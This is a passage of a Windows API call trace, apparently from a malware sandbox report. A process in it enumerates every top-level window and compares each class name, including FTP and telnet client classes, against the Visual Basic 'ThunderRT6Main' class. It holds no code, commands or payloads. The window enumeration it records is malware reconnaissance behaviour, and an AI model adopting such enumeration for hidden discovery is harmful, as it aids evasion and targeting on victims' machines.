(hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0178.587] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0178.587] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0178.587] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0178.587] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0178.587] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0178.587] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0178.587] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0178.587] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0178.587] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0178.587] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0178.587] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0178.587] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0178.587] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0178.587] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.587] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0178.588] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0178.588] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0178.588] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0178.588] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0178.588] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.588] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0178.588] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0178.588] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0178.588] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0178.588] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0178.588] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.588] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0178.588] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0178.588] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0178.588] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0178.588] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0178.588] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.588] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0178.588] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0178.588] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0178.588] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0178.588] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0178.588] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0178.588] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0178.589] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0178.589] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0178.589] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0178.589] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0178.589] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0178.589] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0178.589] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0178.589] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0178.589] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0178.589] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0178.589] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0178.589] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0178.589] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0178.589] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0178.589] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.589] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.589] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0178.589] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0178.590] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0178.590] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0178.590] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0178.590] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0178.590] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0178.590] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0178.590] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0178.590] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0178.590] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0178.590] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0178.590] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0178.590] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0178.590] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0178.590] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0178.590] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0178.590] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0178.590] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0178.590] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0178.590] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0178.590] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.590] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0178.591] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0178.591] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0178.591] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0178.591] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0178.591] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.591] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0178.591] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0178.591] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0178.591] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0178.591] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0178.591] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.591] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0178.591] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0178.591] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0178.591] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0178.591] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0178.591] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0178.591] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0178.592] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0178.592] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0178.592] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0178.592] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0178.592] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0178.592] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0178.592] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0178.592] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0178.592] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0178.592] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0178.592] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0178.592] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0178.592] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0178.592] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0178.592] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.592] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.592] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0178.592] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0178.593] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0178.593] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0178.593] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0178.593] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.593] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0178.593] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0178.593] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0178.593] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0178.593] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0178.593] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.593] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0178.593] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0178.593] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0178.593] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0178.593] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0178.593] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.593] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0178.593] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0178.593] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0178.593] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0178.593] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0178.593] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0178.593] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0178.594] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0178.594] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0178.594] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0178.594] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0178.594] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0178.594] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0178.594] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0178.594] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0178.594] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0178.594] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0178.594] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0178.594] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0178.594] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0178.594] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0178.594] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.594] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0178.594] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0178.594] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0178.594] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0178.594] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0178.594] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0178.595] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0178.595] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.595] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0178.595] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0178.595] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0178.595] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0178.595] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0178.595] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.595] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0178.595] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0178.595] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0178.595] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0178.595] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.595] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0178.595] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0178.595] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0178.595] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0178.595] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.595] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0178.595] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.595] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.596] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0178.596] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0178.596] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0178.596] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0178.596] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.596] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0178.596] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0178.596] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.596] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0178.596] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0178.596] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0178.596] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0178.596] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0178.596] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.596] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.596] GetWindowThreadProcessId (in: hWnd=0x2001a, 